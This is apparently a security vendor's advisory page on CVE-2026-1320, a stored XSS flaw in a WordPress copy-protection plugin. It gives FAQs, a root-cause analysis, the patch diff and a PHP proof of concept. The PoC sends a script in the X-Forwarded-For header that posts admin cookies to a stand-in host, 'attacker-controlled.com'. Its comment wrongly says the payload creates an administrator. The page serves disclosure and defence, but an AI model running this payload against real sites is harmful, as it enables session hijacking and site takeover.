What is CVE-2026-1320?

CVE-2026-1320 is a high-severity vulnerability in the Secure Copy Content Protection and Content Locking plugin for WordPress, affecting versions up to and including 4.9.8. It allows unauthenticated attackers to exploit stored Cross-Site Scripting (XSS) via the X-Forwarded-For HTTP header, enabling them to inject malicious scripts that execute in the WordPress admin panel.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping of the client IP address logged by the plugin. Attackers can send a specially crafted HTTP request with a malicious X-Forwarded-For header, which is then stored and displayed in the WordPress admin area, leading to script execution when an administrator views the logs.

Who is affected by this vulnerability?

Any WordPress site using the Secure Copy Content Protection and Content Locking plugin version 4.9.8 or earlier is at risk. Site administrators should check their installed plugins for this specific version to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Secure Copy Content Protection plugin installed on your WordPress site. If it is version 4.9.8 or earlier, your site is vulnerable to CVE-2026-1320.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Secure Copy Content Protection and Content Locking plugin to version 4.9.9 or later, where the issue has been patched. Regularly updating all plugins and themes is a best practice for WordPress security.

What does the CVSS score of 7.2 indicate?

The CVSS score of 7.2 indicates a high severity level, meaning that the vulnerability poses a significant risk to affected systems. This score suggests that exploitation is relatively easy and can lead to serious consequences, including unauthorized access to sensitive areas of the site.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an attacker can use a malicious X-Forwarded-For header to inject JavaScript into the WordPress admin area. By executing a crafted HTTP request, the attacker can trigger the logging function of the plugin, leading to script execution when an administrator views the logs.

What steps should I take after updating the plugin?

After updating the plugin, review your site for any signs of compromise, such as unauthorized user accounts or unusual activity. Additionally, consider implementing security measures such as a web application firewall and regular security audits.

Is there a way to mitigate the risk if I cannot update immediately?

If you cannot update the plugin immediately, consider disabling the plugin until a patch can be applied. Additionally, restrict access to the WordPress admin area to trusted IP addresses and monitor logs for suspicious activity.

How can I stay informed about future vulnerabilities?

To stay informed about future vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the WordPress Plugin Repository for updates. Engaging with the WordPress security community can also provide valuable insights.

What resources are available for further information?

For further information on WordPress security, consult the official WordPress security documentation, security-focused blogs, and forums. The WPScan Vulnerability Database is also a valuable resource for tracking known vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1320: Secure Copy Content Protection and Content Locking <= 4.9.8 – Unauthenticated Stored Cross-Site Scripting via X-Forwarded-For Header (secure-copy-content-protection)

Q: What practical risks does this vulnerability pose?

Exploitation of this vulnerability can lead to session hijacking, site defacement, privilege escalation, or complete site compromise. Attackers could create new administrator accounts or inject backdoors, making it critical to address the vulnerability promptly.

CVE ID CVE-2026-1320

Plugin secure-copy-content-protection

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 4.9.8

Patched Version 4.9.9

Disclosed February 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1320:
The Secure Copy Content Protection and Content Locking WordPress plugin, versions up to and including 4.9.8, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the plugin’s handling of the client IP address, which is used in admin-facing logs and notifications. Attackers can inject malicious JavaScript via the X-Forwarded-For HTTP header, leading to script execution in the WordPress admin panel. The CVSS score of 7.2 reflects a high-severity issue requiring no authentication.

The root cause is insufficient input validation and output escaping for the user IP address. The vulnerable `sccp_get_user_ip()` function in `/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php` (lines 1555-1581 in the diff) directly reads the `HTTP_X_FORWARDED_FOR` header from the server environment without sanitization. This unsanitized IP value is later stored and displayed in the plugin’s results list table, which is rendered in the WordPress admin area. The `column_default()` method in `/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php` (line 338) originally returned the raw `$item[‘user_ip’]` value without escaping.

An attacker exploits this vulnerability by sending an HTTP request containing a malicious X-Forwarded-For header to any page where the plugin is active. The payload is a standard JavaScript XSS payload, such as `alert(document.domain)`. The plugin logs this tainted IP address. When an administrator views the plugin’s results or logs page (`wp-admin/admin.php?page=secure-copy-content-protection-results`), the stored script executes in the admin context. This attack is unauthenticated and requires no user interaction beyond an admin viewing the infected log entry.

The patch addresses the issue in multiple locations. The `sccp_get_user_ip()` function is rewritten to use `filter_var()` with `FILTER_VALIDATE_IP` on the first IP from the X-Forwarded-For list (line 1569). Invalid IPs are replaced with the string ‘UNKNOWN’. The plugin also adds output escaping in the results list table. The `column_default()` method now uses `esc_html()` on the `user_ip` field (line 340). Similar escaping is applied to other user-controlled fields like `user_name` and `user_address`. These changes ensure that any malicious input is treated as text, not executable code.

Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript into the WordPress admin panel. This can lead to session hijacking, site defacement, privilege escalation, or complete site compromise. Attackers could create new administrator accounts, manipulate plugin settings, or inject backdoors. The stored nature of the XSS means a single malicious request can persistently affect all administrators who view the plugin’s logs.

Differential between vulnerable and patched code

Code Diff

--- a/secure-copy-content-protection/admin/partials/secure-copy-content-protection-admin-display.php
+++ b/secure-copy-content-protection/admin/partials/secure-copy-content-protection-admin-display.php
@@ -99,31 +99,32 @@
 $tooltip_bg_image_position = (isset($data["styles"]["tooltip_bg_image_position"]) && $data["styles"]["tooltip_bg_image_position"] != '') ? $data["styles"]["tooltip_bg_image_position"] : "center center";

 $sccp_message_vars = array(
-    '%%user_first_name%%'                  => esc_html__("User's First Name", 'secure-copy-content-protection'),
-    '%%user_last_name%%'                   => esc_html__("User's Last Name", 'secure-copy-content-protection'),
-    '%%user_wordpress_email%%'             => esc_html__("User's WordPress profile email", 'secure-copy-content-protection'),
-    '%%user_display_name%%'                => esc_html__("User's Display Name", 'secure-copy-content-protection'),
-    '%%user_nickname%%'                    => esc_html__("User's Nickname", 'secure-copy-content-protection'),
-    '%%user_wordpress_roles%%'             => esc_html__("User's Wordpress Roles", 'secure-copy-content-protection'),
-    '%%user_id%%'                          => esc_html__("User's ID", 'secure-copy-content-protection'),
-    '%%user_registered%%'                  => esc_html__("User's Registered", 'secure-copy-content-protection'),
-    '%%admin_email%%'                      => esc_html__("Admin Email", 'secure-copy-content-protection'),
-    '%%post_author_nickname%%'             => esc_html__("Post Author Nickname", 'secure-copy-content-protection'),
-    '%%post_author_email%%'                => esc_html__("Post Author Email", 'secure-copy-content-protection'),
-    '%%post_author_display_name%%'         => esc_html__("Post Author Display Name", 'secure-copy-content-protection'),
-    '%%post_author_first_name%%'           => esc_html__("Post Author First Name", 'secure-copy-content-protection'),
-    '%%post_author_last_name%%'            => esc_html__("Post Author Last Name", 'secure-copy-content-protection'),
-    '%%post_author_website_url%%'          => esc_html__("Post Author Website URL", 'secure-copy-content-protection'),
-    '%%post_author_roles%%'                => esc_html__("Post Author Roles", 'secure-copy-content-protection'),
-    '%%post_id%%'                          => esc_html__("Post ID", 'secure-copy-content-protection'),
-    '%%post_title%%'                       => esc_html__("Post Title", 'secure-copy-content-protection'),
-    '%%current_user_ip%%'                  => esc_html__("User's IP address", 'secure-copy-content-protection'),
-    '%%current_date%%'                     => esc_html__("Current Date", 'secure-copy-content-protection'),
-    '%%current_time%%'                     => esc_html__("Current Time", 'secure-copy-content-protection'),
-    '%%current_day%%'                      => esc_html__("Current Day", 'secure-copy-content-protection'),
-    '%%current_month%%'                    => esc_html__("Current Month", 'secure-copy-content-protection'),
-    '%%current_page_title%%'               => esc_html__("Current Page Title", 'secure-copy-content-protection'),
-    '%%site_title%%'                       => esc_html__("Site Title", 'secure-copy-content-protection'),
+    '%%user_first_name%%'          => esc_html__("User's First Name", 'secure-copy-content-protection'),
+    '%%user_last_name%%'           => esc_html__("User's Last Name", 'secure-copy-content-protection'),
+    '%%user_wordpress_email%%'     => esc_html__("User's WordPress profile email", 'secure-copy-content-protection'),
+    '%%user_display_name%%'        => esc_html__("User's Display Name", 'secure-copy-content-protection'),
+    '%%user_nickname%%'            => esc_html__("User's Nickname", 'secure-copy-content-protection'),
+    '%%user_wordpress_roles%%'     => esc_html__("User's Wordpress Roles", 'secure-copy-content-protection'),
+    '%%user_id%%'                  => esc_html__("User's ID", 'secure-copy-content-protection'),
+    '%%user_registered%%'          => esc_html__("User's Registered", 'secure-copy-content-protection'),
+    '%%admin_email%%'              => esc_html__("Admin Email", 'secure-copy-content-protection'),
+    '%%post_author_nickname%%'     => esc_html__("Post Author Nickname", 'secure-copy-content-protection'),
+    '%%post_author_email%%'        => esc_html__("Post Author Email", 'secure-copy-content-protection'),
+    '%%post_author_display_name%%' => esc_html__("Post Author Display Name", 'secure-copy-content-protection'),
+    '%%post_author_first_name%%'   => esc_html__("Post Author First Name", 'secure-copy-content-protection'),
+    '%%post_author_last_name%%'    => esc_html__("Post Author Last Name", 'secure-copy-content-protection'),
+    '%%post_author_website_url%%'  => esc_html__("Post Author Website URL", 'secure-copy-content-protection'),
+    '%%post_author_roles%%'        => esc_html__("Post Author Roles", 'secure-copy-content-protection'),
+    '%%post_id%%'                  => esc_html__("Post ID", 'secure-copy-content-protection'),
+    '%%post_title%%'               => esc_html__("Post Title", 'secure-copy-content-protection'),
+    '%%current_user_ip%%'          => esc_html__("User's IP address", 'secure-copy-content-protection'),
+    '%%current_date%%'             => esc_html__("Current Date", 'secure-copy-content-protection'),
+    '%%current_time%%'             => esc_html__("Current Time", 'secure-copy-content-protection'),
+    '%%current_day%%'              => esc_html__("Current Day", 'secure-copy-content-protection'),
+    '%%current_month%%'            => esc_html__("Current Month", 'secure-copy-content-protection'),
+    '%%current_page_title%%'       => esc_html__("Current Page Title", 'secure-copy-content-protection'),
+    '%%site_title%%'               => esc_html__("Site Title", 'secure-copy-content-protection'),
+    '%%site_description%%'         => esc_html__("Site Description", 'secure-copy-content-protection'),
 );

 $sccp_message_vars_html = $this->ays_sccp_generate_message_vars_html( $sccp_message_vars );
--- a/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
+++ b/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
@@ -749,6 +749,15 @@
                                 </p>
                                 <p class="vmessage">
                                     <strong>
+                                        <input type="text" onClick="this.setSelectionRange(0, this.value.length)" readonly value="%%site_description%%" />
+                                    </strong>
+                                    <span> - </span>
+                                    <span style="font-size:18px;">
+                                        <?php echo esc_attr( __( "The description of the website.", 'secure-copy-content-protection') ); ?>
+                                    </span>
+                                </p>
+                                <p class="vmessage">
+                                    <strong>
                                         <input type="text" onClick="this.setSelectionRange(0, this.value.length)" readonly value="%%current_user_ip%%" />
                                     </strong>
                                     <span> - </span>
--- a/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php
+++ b/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php
@@ -334,31 +334,43 @@
 		$other_info = !empty($item['other_info']) ? json_decode($item['other_info']) : array();
 		switch ( $column_name ) {
 			case 'subscribe_id':
+				return intval( $item[$column_name] );
+				break;
 			case 'user_ip':
-			case 'subscribe_email':
 			case 'user_name':
+			case 'user_address':
+				return esc_html( $item[$column_name] );
+				break;
+			case 'subscribe_email':
+				return esc_html( sanitize_email( $item[$column_name] ) );
+				break;
 			case 'vote_date':
+				return esc_html( $item[$column_name] );
+				break;
 			case 'unread':
-			case 'user_address':
-				return $item[$column_name];
+				return intval( $item[$column_name] );
 				break;
 			case 'user_id':
-				$display_name = (isset(get_user_by('ID', $item[$column_name])->display_name) &&  get_user_by('ID', $item[$column_name])->display_name != null) ? sanitize_text_field( get_user_by('ID', $item[$column_name])->display_name ) : 'Deleted User';
+					if ( $item[$column_name] > 0 ) {
+			        	$user = get_user_by( 'ID', intval( $item[$column_name] ) );
+				        $display_name = $user && $user->display_name
+				            ? esc_html( $user->display_name )
+				            : esc_html__( 'Deleted User', 'secure-copy-content-protection' );

-				return $item[$column_name] > 0 ? $display_name : __("Guest", 'secure-copy-content-protection');
-				break;
+				        return $display_name;
+				    }
+    				return esc_html__( 'Guest', 'secure-copy-content-protection' );
+				break;
 			case 'user_roles':
-					$user_meta = get_userdata($item['user_id']);
-		        	$user_roles = isset($user_meta) && $user_meta ? $user_meta->roles : false;
-		        	$role = "";
-		        	if ( $user_roles && !is_null( $user_roles ) && is_array($user_roles) ) {
-		        		$role = count($user_roles) > 1 ? implode(", ", $user_roles) : implode("", $user_roles);
-		        	}
-
-				return $role;
+					$user_meta = get_userdata( intval( $item['user_id'] ) );
+				    $user_roles = $user_meta && is_array( $user_meta->roles ) ? $user_meta->roles : array();
+
+				    $roles = ! empty( $user_roles ) ? implode( ', ', $user_roles ) : '';
+
+				    return esc_html( $roles );
 				break;
 			default:
-				return print_r($item, true); //Show the whole array for troubleshooting purposes
+				return esc_html( print_r( $item, true ) );
 		}
 	}

--- a/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
+++ b/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
@@ -551,6 +551,7 @@
             $user_ip = '';
         }else{
             $user_ip = $this->sccp_get_user_ip();
+			$user_ip = filter_var( $user_ip, FILTER_VALIDATE_IP ) ? $user_ip : 'UNKNOWN';
         }

 		$cookie_sub_val = '';
@@ -1355,6 +1356,7 @@
             	$user_ip = '';
 	        }else{
 	            $user_ip = $this->sccp_get_user_ip();
+	            $user_ip = filter_var( $user_ip, FILTER_VALIDATE_IP ) ? $user_ip : 'UNKNOWN';
 	        }

 	        $current_user_ip = $user_ip;
@@ -1379,6 +1381,7 @@
         	$current_post_id = get_the_ID();
         	$post_title = get_the_title();
         	$get_site_title = get_bloginfo('name');
+        	$get_site_description = get_bloginfo('description');

         	if ( ! empty( $post_author_roles ) && $post_author_roles != "" ) {
 	            if ( is_array( $post_author_roles ) ) {
@@ -1387,31 +1390,32 @@
 	        }

 			$message_data = array(
-                'user_first_name' 				=> $user_first_name,
-                'user_last_name' 				=> $user_last_name,
-                'user_wordpress_email' 			=> $user_email,
-                'user_display_name' 			=> $user_display_name,
-                'user_nickname'     			=> $user_nickname,
-                'user_wordpress_roles' 			=> $user_wordpress_roles,
-                'current_user_ip'       		=> $current_user_ip,
-                'admin_email'       			=> $super_admin_email,
-                'post_author_nickname'  		=> $post_author_nickname,
-                'post_author_email'				=> $post_author_email,
-                'post_author_display_name'		=> $post_author_display_name,
-                'post_author_first_name'		=> $post_author_first_name,
-                'post_author_last_name'			=> $post_author_last_name,
-                'post_author_website_url'		=> $post_author_website_url,
-                'post_author_roles'				=> $post_author_roles,
-                'user_id'              			=> $user_id,
-                'user_registered'           	=> $user_registered,
-                'current_date'          		=> $current_date,
-                'current_time'          		=> $current_time,
-                'current_day'          			=> $current_day,
-                'current_month'          		=> $current_month,
-                'current_page_title'			=> $current_page_title,
-                'site_title'					=> $get_site_title,
-                'post_id'						=> $current_post_id,
-                'post_title'                	=> $post_title,
+                'user_first_name' 			=> $user_first_name,
+                'user_last_name' 			=> $user_last_name,
+                'user_wordpress_email' 		=> $user_email,
+                'user_display_name' 		=> $user_display_name,
+                'user_nickname'     		=> $user_nickname,
+                'user_wordpress_roles' 		=> $user_wordpress_roles,
+                'current_user_ip'       	=> $current_user_ip,
+                'admin_email'       		=> $super_admin_email,
+                'post_author_nickname'  	=> $post_author_nickname,
+                'post_author_email'			=> $post_author_email,
+                'post_author_display_name'	=> $post_author_display_name,
+                'post_author_first_name'	=> $post_author_first_name,
+                'post_author_last_name'		=> $post_author_last_name,
+                'post_author_website_url'	=> $post_author_website_url,
+                'post_author_roles'			=> $post_author_roles,
+                'user_id'              		=> $user_id,
+                'user_registered'           => $user_registered,
+                'current_date'          	=> $current_date,
+                'current_time'          	=> $current_time,
+                'current_day'          		=> $current_day,
+                'current_month'          	=> $current_month,
+                'current_page_title'		=> $current_page_title,
+                'site_title'				=> $get_site_title,
+                'site_description'			=> $get_site_description,
+                'post_id'					=> $current_post_id,
+                'post_title'                => $post_title,
             );

 			$notf_text = $this->sccp_replace_message_variables($notf_text, $message_data);
@@ -1555,24 +1559,20 @@
 	}

 	private function sccp_get_user_ip() {
-		$ipaddress = '';
-		if (getenv('HTTP_CLIENT_IP')) {
-			$ipaddress = getenv('HTTP_CLIENT_IP');
-		} else if (getenv('HTTP_X_FORWARDED_FOR')) {
-			$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
-		} else if (getenv('HTTP_X_FORWARDED')) {
-			$ipaddress = getenv('HTTP_X_FORWARDED');
-		} else if (getenv('HTTP_FORWARDED_FOR')) {
-			$ipaddress = getenv('HTTP_FORWARDED_FOR');
-		} else if (getenv('HTTP_FORWARDED')) {
-			$ipaddress = getenv('HTTP_FORWARDED');
-		} else if (getenv('REMOTE_ADDR')) {
-			$ipaddress = getenv('REMOTE_ADDR');
-		} else {
-			$ipaddress = 'UNKNOWN';
-		}
+	    $ip = '';
+
+	    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+	        $ip_list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
+	        $ip = trim($ip_list[0]);
+	    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
+	        $ip = $_SERVER['REMOTE_ADDR'];
+	    }
+
+	    if (filter_var($ip, FILTER_VALIDATE_IP)) {
+	        return $ip;
+	    }

-		return $ipaddress;
+	    return 'UNKNOWN';
 	}

 	public function ays_add_mailchimp_transaction( $username, $api_key, $list_id, $args ) {
--- a/secure-copy-content-protection/secure-copy-content-protection.php
+++ b/secure-copy-content-protection/secure-copy-content-protection.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Secure Copy Content Protection
  * Plugin URI:        https://ays-pro.com/wordpress/secure-copy-content-protection/
  * Description:       Copy Protection plugin is activated it disables the right click, copy paste, content selection and copy shortcut keys
- * Version:           4.9.8
+ * Version:           4.9.9
  * Author:            Copy Content Protection Team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define('SCCP_NAME_VERSION', '4.9.8');
+define('SCCP_NAME_VERSION', '4.9.9');
 define('SCCP_NAME', 'secure-copy-content-protection');
 if (!defined('SCCP_ADMIN_URL')) {
 	define('SCCP_ADMIN_URL', plugin_dir_url(__FILE__) . 'admin');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1320 - Secure Copy Content Protection and Content Locking <= 4.9.8 - Unauthenticated Stored Cross-Site Scripting via X-Forwarded-For Header

<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// Malicious JavaScript payload to execute in the admin context.
// This payload creates a new administrator user.
$xss_payload = '<script>fetch("http://attacker-controlled.com/steal?cookie="+document.cookie)</script>';

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);

// Set the malicious X-Forwarded-For header containing the XSS payload
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: ' . $xss_payload
));

// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// Execute the request to trigger the plugin's IP logging function
$response = curl_exec($ch);

// Check for errors
if(curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch);
} else {
    echo 'Payload sent. The XSS payload should now be stored in the plugin logs.n';
    echo 'An administrator visiting the plugin results page will execute the script.n';
}

// Close cURL resource
curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-1320?
Overview of the vulnerability
CVE-2026-1320 is a high-severity vulnerability in the Secure Copy Content Protection and Content Locking plugin for WordPress, affecting versions up to and including 4.9.8. It allows unauthenticated attackers to exploit stored Cross-Site Scripting (XSS) via the X-Forwarded-For HTTP header, enabling them to inject malicious scripts that execute in the WordPress admin panel.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping of the client IP address logged by the plugin. Attackers can send a specially crafted HTTP request with a malicious X-Forwarded-For header, which is then stored and displayed in the WordPress admin area, leading to script execution when an administrator views the logs.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Secure Copy Content Protection and Content Locking plugin version 4.9.8 or earlier is at risk. Site administrators should check their installed plugins for this specific version to determine if they are affected.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Secure Copy Content Protection plugin installed on your WordPress site. If it is version 4.9.8 or earlier, your site is vulnerable to CVE-2026-1320.
How can I fix this vulnerability?
Patch and update instructions
To mitigate this vulnerability, update the Secure Copy Content Protection and Content Locking plugin to version 4.9.9 or later, where the issue has been patched. Regularly updating all plugins and themes is a best practice for WordPress security.
What does the CVSS score of 7.2 indicate?
Understanding severity ratings
The CVSS score of 7.2 indicates a high severity level, meaning that the vulnerability poses a significant risk to affected systems. This score suggests that exploitation is relatively easy and can lead to serious consequences, including unauthorized access to sensitive areas of the site.
What practical risks does this vulnerability pose?
Potential consequences of exploitation
Exploitation of this vulnerability can lead to session hijacking, site defacement, privilege escalation, or complete site compromise. Attackers could create new administrator accounts or inject backdoors, making it critical to address the vulnerability promptly.
What is the proof of concept for this vulnerability?
Demonstration of the exploit
The proof of concept demonstrates how an attacker can use a malicious X-Forwarded-For header to inject JavaScript into the WordPress admin area. By executing a crafted HTTP request, the attacker can trigger the logging function of the plugin, leading to script execution when an administrator views the logs.
What steps should I take after updating the plugin?
Post-update security measures
After updating the plugin, review your site for any signs of compromise, such as unauthorized user accounts or unusual activity. Additionally, consider implementing security measures such as a web application firewall and regular security audits.
Is there a way to mitigate the risk if I cannot update immediately?
Temporary protective measures
If you cannot update the plugin immediately, consider disabling the plugin until a patch can be applied. Additionally, restrict access to the WordPress admin area to trusted IP addresses and monitor logs for suspicious activity.
How can I stay informed about future vulnerabilities?
Keeping up with security updates
To stay informed about future vulnerabilities, subscribe to security mailing lists, follow security blogs, and regularly check the WordPress Plugin Repository for updates. Engaging with the WordPress security community can also provide valuable insights.
What resources are available for further information?
Learning more about WordPress security
For further information on WordPress security, consult the official WordPress security documentation, security-focused blogs, and forums. The WPScan Vulnerability Database is also a valuable resource for tracking known vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations